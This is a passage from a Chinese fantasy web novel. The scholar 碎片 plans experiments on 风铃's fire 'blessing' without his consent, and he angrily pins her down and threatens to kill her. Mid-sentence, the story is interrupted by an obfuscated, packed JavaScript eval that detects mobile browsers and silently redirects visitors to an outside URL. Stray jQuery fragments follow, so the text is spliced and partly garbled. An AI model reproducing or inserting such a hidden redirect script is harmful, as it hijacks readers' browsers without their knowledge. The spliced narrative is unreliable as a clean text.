风铃微微抬起身，不屑一顾地挖苦道：“不过说起来，学者女士猜到占有欲的速度倒是很快，看起来很熟悉这种情感。我倒是听说心思肮脏的人看什么都脏，学者女士应该不是这样的人吧？”


    赤橙色的火光点亮碎片漆黑的双眸。冒犯性的言语被学者自动过滤，她只是满眼惊喜地看着漂亮的火环，甚至流露出了真心喜悦的神情。


    “这就是你从魔雾秘境得来的古暗域赐福？火焰方向的咒语？”


    “别装疯卖傻，女士。我知道你心怀鬼胎，我对这种事很敏锐，感受得到，你用于挑拨离间的手段也并不高明。”


    碎片终于不再专心看着那道罕见的火环，她视线微移，对上风铃佯怒的双眼，没忍住笑出了声。


    善意的提醒？


    再靠近点她的头发都能被点着了。


    “你自说自话地讲什么呢？”


    本来她看到古暗域的火环时真的很高兴，想着古暗域的赐福没有灭绝，大陆还能有幸看到这种最强赐福。但很可惜，掌握了它古暗域的人就像眼前的火环和他那张足以颠倒众生的绝美脸庞一样。


    美丽、带刺，却愚蠢。


    风铃那话的意思是觉得她刚刚在参观时，对面具说“分析面具在招募其他人时所运用的话术技巧”有鬼。他觉得她只是表面说笑，真正别有所图——比如这话是说给其他在场的人听的，好让大家都对面具的作为产生疑心，从而使得他们离心。


    该说不说……


    挺煞笔的。


    风铃冷笑一声。碎片的质疑在他看来无异于掩耳盗铃后垂死挣扎，他就差把所有话摊开摆到明面上了，但碎片依旧死不悔改。


    那他只能把话讲得更明白一些。


    “看起来您一直在一个低级的圈子被阿谀奉承太久，以至于完全丢失了对自己的客观认知。尊贵的学者女士，无论你真正的目标是什么，还请您记得，在您萌生任何小心思时，都有一个人在盯着您的行为。没人在乎你虚伪的学术目标是什么，管好你自己就可以了，千万不要想着伤害或者操控谁——如果您非常不幸地产生了一点对组织其他人不利的想法，我会很惋惜贝落达城主后继无人的。”


    他的语调温柔得像是在调情，眼里却露出危险的光。


    嗯，碎片猜测风铃心目中的他自己大概就是这样的。漂亮而危险，游刃有余地用轻佻形象表现出虚假的智力，让其他人觉得无法算计他。


    真的很煞笔。


    只有脑子没发育完全的幼稚傻子才会这样往脸上贴金，生怕被其他人看出来自己不是真的大人一样。


    “随便你怎么想吧。”碎片耸耸肩以作人际交往的应答。


    她在有限的空间中调整了下坐姿，靠在椅背上悠闲地翘起二郎腿。


    “你说着，但先别收起火环。”


    风铃一头雾水。


    然而碎片不仅从容顺利地翘起腿，甚至还颇有闲情逸致地把胳膊架了起来，好让自己的半个身能更舒服地且不伤腰地靠下来。如此她就能腾出一只手近距离感受一下古暗域的赐福究竟是什么东西。


    “从威力上看，的确不像是满赐福的水平。”碎片凑近了火环，“你用尽全力了吗，应该没有吧？”


    还没碰到火环，火环的光芒忽然明亮一瞬。碎片猛地收回手，揉起被烫伤的手指。但她不怒反笑，愈发欣喜地看着那枚光滑的火环，问题变本加厉地像连环炮一样发射。


    “你现在的纯净度有多少？按着神明的檬蜜理论，已经没有其他人能够当作古暗域的赐福共鸣载体了，所以你的赐福理应到达100才是。刚刚那种无形的火焰是什么具有隐形能力的赐福表现方式吗？还有无咒语瞬发的能力，也包含在其中吗？这是不是说明暗雪对大陆宣称你的赐福是具有成长性这件事是真的？”


    碎片说着不信邪地又一次把手伸上去，完全无视了实验室用火安全规定。


    风铃指尖一抖，赶紧将火环收了起来，拔高声音怒骂：“你有病吧，碎片！明知道那是火还碰！”


    火光消逝的瞬间，碎片的目光也黯淡下来，她垂头丧气地望着火环消失的地方，充耳不闻风铃的质疑。


    风铃不可置信地连着后退了好几步，像看疯子一样看着碎片：“你们天国人智力是不是都低到罗威尔海沟里去才能把你这种疯子也当成天才。喂！碎片，别收起火环就一副要死要活地样子，你到底有没有听我说话！”


    “啊？嗯，可以。”她随意应付两声。


    碎片的心中已经被由那火环带来的另一激情充满，她立刻开启和神明的交流通路。尽管直接用心声交流对于刚接触精神链接的她而言略显不易，但这对碎片而言并不是什么挑战。她有充足的自信和底气在未得到授权的前提下，直接当着实验对象的面，开口和潜在的合作伙伴讨论如何展开新的实验。


    “神明，我是碎片。我有一个提议猜测你会感兴趣——想再次尝试验证你的理论吗？”


    风铃还没有反应过来碎片这段说辞的背后逻辑，只听碎片继续热衷开口。


    “根据檬蜜分配理论，风铃身上的赐福极有可能存在成长性，我才检查了风铃使用的赐福，远远不到满赐福的标准，甚至不到50纯净度。嗯，的确很低，但也意味着具有极高的提升空间。只要我们能够使风铃的赐福提升，就可以验证檬密理论的第一定律，而一旦这个提升到达了你定义的临界值……”


    风铃听不到另一边的回复，只是一分钟后，碎片忽然勾起嘴角满意地点起头。


    风铃知道一切都晚了。


    “很好，我就知道你不会放弃自己的学说。”


    “好什么啊！谁说我要答应你的训练了！碎片你别来胡说八道，我没答应，你别随意安排我的生活！”风铃当即发飙。


    碎片伸出手挡住风铃，让他安静些不要打扰自己和神明沟通。


    “嗯，没错，我这边需要的人数已经拟定好了，这个项目也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205062|185251||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    必须找两三个人辅助递交分析报告……可以，我马上去找你。是呀，我当然理解你的心情，亲自培养出一个满赐福之人的确是很有成就的事情……”


    风铃的表情僵在了脸上。


    “碎片。”


    碎片像是没听到一样匆匆站起身，什么也没拿就急忙向外走。


    风铃皱起眉头。


    他破天荒地对一个外人愤怒了。


    他一个跨步拦在门口，却只是低着头站在原地发抖，发出自言自语一样的声音。


    “凭什么？”


    “啧。”碎片抬起头，“别挡道，自认成熟的天命之人，现在不是你闹脾气的时候。时间不多了，面具还等着图纸和人员名单，赶紧让我出去。”


    她说着换了个方向准备，准备绕开她们情绪不稳定的“预备实验体”风铃。


    “又是这样……又是这样……我受够了。”


    碎片经过他身旁的时候就听到他在嘀嘀咕咕着什么。


    “对我的人生指手画脚……你们有什么资格……”


    其实这时候她已经意识到风铃在说什么，并且想要及时解决这种情绪问题，以便更高效地完成自己的目标。


    但是对于一个内心已经被人粉碎了四百年，才刚刚开始莽撞重建内心世界的小孩而言，她的所作所为已经彻底伤害了对方。


    一切都已经晚了。


    愤怒的风铃一把拉住碎片。


    “我让你站住你没听到吗！”


    胳膊被人钳住，风铃像怕她会挣脱跑了一样，手指用力地长进了她的肉里，疼得她想骂人。


    碎片回过头，刚想开口：“你放……”


    “闭上你的嘴，碎片！”风铃粗暴地吼了碎片一句。


    他攥住碎片的胳膊一把将她扯回椅子，不等碎片反抗起身，立刻附身压在椅子上按着碎片的两只胳膊将她整个人困在椅子中。火光再次凭空出现在他们之间，黑焰蔓延，光和影将她的脸分成两面，整个房间都弥漫着死亡的气息。


    “你想做什么？你到底有什么企图？使用你精心设计过的语言分化我们，再用你洞察人心的能力逐个击破？我就知道你动机不纯，我现在就宰了你……”


    碎片意识到自己犯了一个的错误。


    她太高看面具身边的人了。


    和面具那种灵魂共鸣的有效沟通方式让她过于愉快，以至于她的眼里完全失去了别人，只剩下了自己的目标和最感兴趣的研究对象，而忘了多照顾一些这个以脑残为主要组成的世界。


    现在好了，她的自私在反伤自己了。


    她真对自己感到抱歉，这种愚蠢的处理方式本不该出现。唉，如果可以回去的话，她想先给愚昧的自己弄死再处理风铃这个蠢货。


    颜色不详的火焰愈发强盛，风铃不受到自己的赐福影响，但碎片不一样。汗水立刻顺着她的额角流下来，眼角发咸。她不得不闭上一只眼睛等待汗水自己滑落，避免被刺激到。